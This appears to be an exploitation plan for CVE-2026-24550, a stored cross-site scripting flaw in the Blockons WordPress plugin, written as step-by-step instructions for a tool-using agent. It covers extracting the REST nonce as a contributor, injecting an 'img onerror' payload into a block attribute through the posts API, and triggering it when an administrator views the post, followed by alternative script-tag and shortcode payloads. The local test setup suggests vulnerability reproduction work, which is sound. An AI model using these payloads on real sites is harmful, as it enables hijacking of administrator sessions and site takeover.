Research Plan: CVE-2026-24550 - Blockons Stored XSS

1. Vulnerability Summary

The Blockons plugin (<= 1.2.15) is vulnerable to Stored Cross-Site Scripting (XSS). The issue exists because the plugin fails to sufficiently sanitize or escape user-supplied input when saving and rendering Gutenberg block attributes. This allows an authenticated user with Contributor permissions or higher to inject malicious JavaScript into a post. When other users (including Administrators) view the affected post or preview it in the editor, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Endpoint: WordPress REST API for Posts (/wp-json/wp/v2/posts) or the standard Post Editor save routine.
• Vulnerable Parameter: Block attributes within the post_content (e.g., title, content, url, or custom styling attributes).
• Authentication Level: Contributor+ (Authenticated). Contributors can create posts and save metadata, making them the primary threat actor for this CVSS.
• Preconditions: The Blockons plugin must be active, and at least one block from the plugin must be used in a post.

3. Code Flow (Inferred)

1. Input: A Contributor creates or edits a post using the Gutenberg editor. They add a Blockons block (e.g., blockons/button, blockons/accordion, or blockons/post-grid).
2. Storage: When the post is saved, the block attributes are sent via a REST API request to /wp-json/wp/v2/posts/<ID>. The plugin's block registration (register_block_type) likely lacks sanitize_callback for its attributes.
3. Sink (Frontend/Editor):
   • Frontend: When the post is rendered, the render_callback (if server-side) or the block's save function (if client-side) outputs the attributes without using escaping functions like esc_html(), esc_attr(), or wp_kses().
   • Editor: The block's edit JavaScript function renders the attribute in the editor preview without sanitization.

4. Nonce Acquisition Strategy

To save a post via the REST API as a Contributor, a wp_rest nonce is required.

1. Identify Shortcode/Block Context: Blockons blocks are Gutenberg-based. No specific shortcode is needed to load the scripts in the admin context, but the editor must be initialized.
2. Create/Edit Post: Navigate to wp-admin/post-new.php.
3. Extract Nonce: Use the browser_eval tool to extract the REST nonce from the global WordPress settings object available in the editor.
   • JavaScript Command: window.wpApiSettings?.nonce or window._wpUtilSettings?.nonce.
4. Extract Block Metadata: To find the exact block names and attributes, run:
   • wp eval "echo json_encode(array_keys(WP_Block_Type_Registry::get_instance()->get_all_registered()));"
   • Filter for keys starting with blockons/.

5. Exploitation Strategy

Step 1: Discover Vulnerable Block

The agent should identify which Blockons block attributes are unescaped. Likely candidates include "Title" or "Content" fields in Accordions or Buttons.

Step 2: Inject Payload via REST API

Using the http_request tool, send a POST request to update a post created by the contributor.

• URL: http://localhost:8080/wp-json/wp/v2/posts/<POST_ID>
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: <EXTRACTED_NONCE>
• Body (JSON):

  {
    "content": "<!-- wp:blockons/accordion {\"title\":\"<img src=x onerror=alert(document.domain)>\"} /-->"
  }
  

  (Note: The block name blockons/accordion and attribute title are inferred. The agent must verify the actual block name and attribute keys using the wp eval command mentioned in section 4.)

Step 3: Trigger XSS

Navigate to the post URL (frontend) or the editor (backend) as an Administrator to trigger the payload.

6. Test Data Setup

1. User Creation: Create a contributor-level user.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Post Creation: Create a draft post as the contributor.
   • wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title="XSS Test"
3. Capture ID: Store the <POST_ID> for use in the REST API request.

7. Expected Results

• The REST API response should return 200 OK, confirming the block content with the payload was saved.
• When visiting the post URL or opening the editor for that post, an alert box showing the document domain should appear.
• Inspecting the HTML source should show the payload rendered literally (e.g., <img src=x ...>) rather than being HTML-encoded (e.g., <img ...>).

8. Verification Steps

1. Verify Database State: Check if the payload is stored exactly as sent.
   • wp post get <POST_ID> --field=post_content
2. Verify Rendering: Perform a GET request to the post and grep for the payload.
   • Use http_request to fetch the post and check if onerror=alert is present in the raw response body.

9. Alternative Approaches

• Editor-Based Injection: If the REST API is restricted, the agent can use browser_navigate to the editor, use browser_click and browser_type to manually add a Blockons block and paste the payload into its text fields.
• Attribute Variations: If the title attribute is sanitized, try others such as anchor, id, className, or URL fields (e.g., linkURL).
• Payload Variations:
  • "><script>alert(1)</script>
  • [blockons_shortcode attribute='<script>alert(1)</script>'] (Check if the plugin also registers classic shortcodes via grep -r "add_shortcode" .).